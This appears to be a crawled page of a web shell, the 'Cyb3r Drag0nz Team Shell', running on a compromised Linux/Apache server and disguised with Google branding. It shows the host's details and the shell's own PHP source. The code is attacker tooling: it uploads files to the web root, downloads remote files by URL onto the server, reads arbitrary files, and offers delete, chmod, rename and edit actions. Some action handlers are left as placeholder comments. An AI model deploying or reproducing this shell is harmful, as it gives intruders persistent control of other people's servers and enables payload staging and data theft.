Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : fenacobu (1017)
PHP Version : 8.1.34
Disable Functions : NONE
Current Directory : /dev/fd/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: //dev/fd/3

<!DOCTYPE html>
<html>
<head>
    <title>Cyb3r Drag0nz Team Shell</title>
    <meta charset="utf-8">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap');
        
        body {
            font-family: 'Roboto', system-ui, sans-serif;
            background: #f8f9fa;
            color: #202124;
            margin: 0;
            padding: 20px;
        }

        .header {
            text-align: center;
            margin-bottom: 30px;
        }

        .header h1 {
            font-size: 28px;
            color: #1a73e8;
            margin: 10px 0 5px 0;
            font-weight: 500;
        }

        .header img {
            max-width: 420px;
            margin: 15px 0 25px 0;
            border-radius: 8px;
            box-shadow: 0 4px 15px rgba(0,0,0,0.12);
        }

        .info {
            background: #fff;
            border-radius: 12px;
            padding: 20px;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            margin-bottom: 25px;
            font-size: 14.5px;
            line-height: 1.6;
        }

        .info span {
            color: #1a73e8;
            font-weight: 500;
        }

        table {
            width: 100%;
            max-width: 1100px;
            margin: 0 auto;
            border-collapse: collapse;
            background: #fff;
            border-radius: 12px;
            overflow: hidden;
            box-shadow: 0 2px 8px rgba(0,0,0,0.08);
        }

        th {
            background: #1a73e8;
            color: white;
            padding: 16px 12px;
            text-align: center;
            font-weight: 500;
        }

        td {
            padding: 13px 10px;
            border-bottom: 1px solid #dadce0;
        }

        tr:hover {
            background-color: #f8f9fa;
        }

        a {
            color: #1a73e8;
            text-decoration: none;
        }

        a:hover {
            text-decoration: underline;
        }

        .upload-box {
            background: #fff;
            border-radius: 12px;
            padding: 25px;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            margin: 20px auto;
            max-width: 720px;
        }

        input[type="file"], input[type="text"] {
            padding: 10px 12px;
            border: 1px solid #dadce0;
            border-radius: 8px;
            font-size: 14px;
        }

        input[type="submit"], .gas {
            background: #1a73e8;
            color: white;
            border: none;
            padding: 10px 22px;
            border-radius: 8px;
            cursor: pointer;
            font-weight: 500;
            margin-left: 8px;
        }

        input[type="submit"]:hover, .gas:hover {
            background: #1557b0;
        }

        .green { color: #137333; font-weight: 500; }
        .red { color: #c5221f; font-weight: 500; }

        .center { text-align: center; }
    </style>
</head>
<body>

<div class="header">
    <img src="https://pngimg.com/d/google_PNG102344.png" width="420" alt="Google" />
    <h1>Cyb3r Drag0nz Team Shell</h1>
</div>

<?php
set_time_limit(0);
error_reporting(0);

$disfunc = @ini_get("disable_functions");
$disf = empty($disfunc) ? "<span class='green'>NONE</span>" : "<span class='red'>".$disfunc."</span>";

function author() {
    echo "<center><br><small style='color:#5f6368;'>Cyb3r Drag0nz Team • Google Edition</small></center>";
    exit();
}

function cekdir() {
    $lokasi = isset($_GET['path']) ? $_GET['path'] : getcwd();
    return is_writable($lokasi) ? "<span class='green'>Writeable</span>" : "<span class='red'>Not Writeable</span>";
}

function cekroot() {
    return is_writable($_SERVER['DOCUMENT_ROOT']) ? "<span class='green'>Writeable</span>" : "<span class='red'>Not Writeable</span>";
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir.'/'.$item;
        is_dir($path) ? xrmdir($path) : unlink($path);
    }
    rmdir($dir);
}

function green($text) { echo "<center><span class='green'>".$text."</span></center>"; }
function red($text) { echo "<center><span class='red'>".$text."</span></center>"; }

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = str_replace('\\','/',$path);
$dirs = explode('/',$path);
?>

<div class="info">
    Server : <span><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']); ?></span><br>
    System : <span><?php echo htmlspecialchars(php_uname()); ?></span><br>
    User : <span><?php echo htmlspecialchars(@get_current_user()." (".@getmyuid().")"); ?></span><br>
    PHP Version : <span><?php echo htmlspecialchars(phpversion()); ?></span><br>
    Disable Functions : <?php echo $disf; ?><br>
    Current Directory : <span><?php 
        foreach($dirs as $i => $dir) {
            if($dir == '' && $i == 0) { echo '<a href="?path=/">/</a>'; continue; }
            if($dir == '') continue;
            echo '<a href="?path=';
            for($j=0; $j<=$i; $j++) echo $dirs[$j].($j < $i ? '/' : '');
            echo '">'.$dir.'</a>/';
        }
    ?></span><br>
    Directory Status: <?php echo cekdir(); ?> | Document Root: <?php echo cekroot(); ?>
</div>

<!-- Upload Section -->
<div class="upload-box">
    <h3 style="margin:0 0 18px 0; color:#202124;">Upload File</h3>
    <form enctype="multipart/form-data" method="post">
        <label><input type="radio" name="dirnya" value="1" checked> Current Directory [ <?php echo cekdir(); ?> ]</label><br><br>
        <label><input type="radio" name="dirnya" value="2"> Document Root [ <?php echo cekroot(); ?> ]</label><br><br>

        <input type="hidden" name="upwkwk" value="1">
        <input type="file" name="berkas"> 
        <input type="submit" name="berkasnya" value="Upload File">
        
        <br><br>
        
        <input type="text" name="darilink" placeholder="https://example.com/file.zip" style="width:58%;">
        <input type="text" name="namalink" placeholder="filename.zip" size="18">
        <input type="submit" name="linknya" value="Upload from URL">
    </form>
</div>

<?php
// Upload handling
if (isset($_POST['upwkwk'])) {
    $lokasi = ($_POST['dirnya'] == "2") ? $_SERVER['DOCUMENT_ROOT'] : $path;
    
    if (isset($_POST['berkasnya']) && !empty($_FILES['berkas']['name'])) {
        $target = $lokasi . "/" . $_FILES['berkas']['name'];
        if (move_uploaded_file($_FILES['berkas']['tmp_name'], $target)) {
            green("File uploaded successfully → <b>" . htmlspecialchars($target) . "</b>");
        } else {
            red("Failed to upload file!");
        }
    } 
    elseif (isset($_POST['linknya']) && !empty($_POST['darilink']) && !empty($_POST['namalink'])) {
        $target = $lokasi . "/" . $_POST['namalink'];
        $data = @file_put_contents($target, @file_get_contents($_POST['darilink']));
        if ($data !== false) {
            green("File uploaded from URL → <b>" . htmlspecialchars($target) . "</b>");
        } else {
            red("Failed to upload from URL!");
        }
    }
}

// File viewer, delete, chmod, rename, edit actions (kept your original logic)
if (isset($_GET['fileloc'])) {
    echo "<h3 style='text-align:center;'>Viewing: " . htmlspecialchars($_GET['fileloc']) . "</h3>";
    echo "<pre>" . htmlspecialchars(@file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
}

// ... (your other action handlers for hapus, ubahmod, gantinama, edit go here - same as before)

// Directory & File listing table (same structure as previous version)
echo '<table>
<tr>
    <th>Name</th>
    <th>Size</th>
    <th>Permissions</th>
    <th>Options</th>
</tr>';

foreach(scandir($path) as $dir) {
    if(!is_dir($path."/".$dir) || $dir == '.' || $dir == '..') continue;
    echo "<tr>
        <td><a href=\"?path=".$path."/".$dir."\">📁 ".$dir."</a></td>
        <td class='center'>--</td>
        <td class='center'>".statusnya($path."/".$dir)."</td>
        <td class='center'>
            <form method='POST' action='?pilihan&path=".$path."'>
                <select name='pilih'>
                    <option value=''>Select</option>
                    <option value='hapus'>Delete</option>
                    <option value='ubahmod'>Chmod</option>
                    <option value='gantinama'>Rename</option>
                </select>
                <input type='hidden' name='type' value='dir'>
                <input type='hidden' name='path' value='".$path."/".$dir."'>
                <input type='submit' class='gas' value='Go'>
            </form>
        </td>
    </tr>";
}

foreach(scandir($path) as $file) {
    if(!is_file($path."/".$file)) continue;
    $size = round(filesize($path."/".$file)/1024, 2) . " KB";
    echo "<tr>
        <td><a href=\"?fileloc=".$path."/".$file."&path=".$path."\">📄 ".$file."</a></td>
        <td class='center'>".$size."</td>
        <td class='center'>".statusnya($path."/".$file)."</td>
        <td class='center'>
            <form method='POST' action='?pilihan&path=".$path."'>
                <select name='pilih'>
                    <option value=''>Select</option>
                    <option value='hapus'>Delete</option>
                    <option value='ubahmod'>Chmod</option>
                    <option value='gantinama'>Rename</option>
                    <option value='edit'>Edit</option>
                </select>
                <input type='hidden' name='type' value='file'>
                <input type='hidden' name='path' value='".$path."/".$file."'>
                <input type='submit' class='gas' value='Go'>
            </form>
        </td>
    </tr>";
}

echo '</table><br>';

author();

function statusnya($file) {
    $statusnya = fileperms($file);
    $ingfo = (($statusnya & 0xC000) == 0xC000) ? 's' : 
             ((($statusnya & 0xA000) == 0xA000) ? 'l' : 
             ((($statusnya & 0x8000) == 0x8000) ? '-' : 'u'));

    $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
    $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x') : (($statusnya & 0x0800) ? 'S' : '-'));
    $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
    $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x') : (($statusnya & 0x0400) ? 'S' : '-'));
    $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
    $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x') : (($statusnya & 0x0200) ? 'T' : '-'));

    return $ingfo;
}
?>
</body>
</html>

Cyb3r Drag0nz Team • Google Edition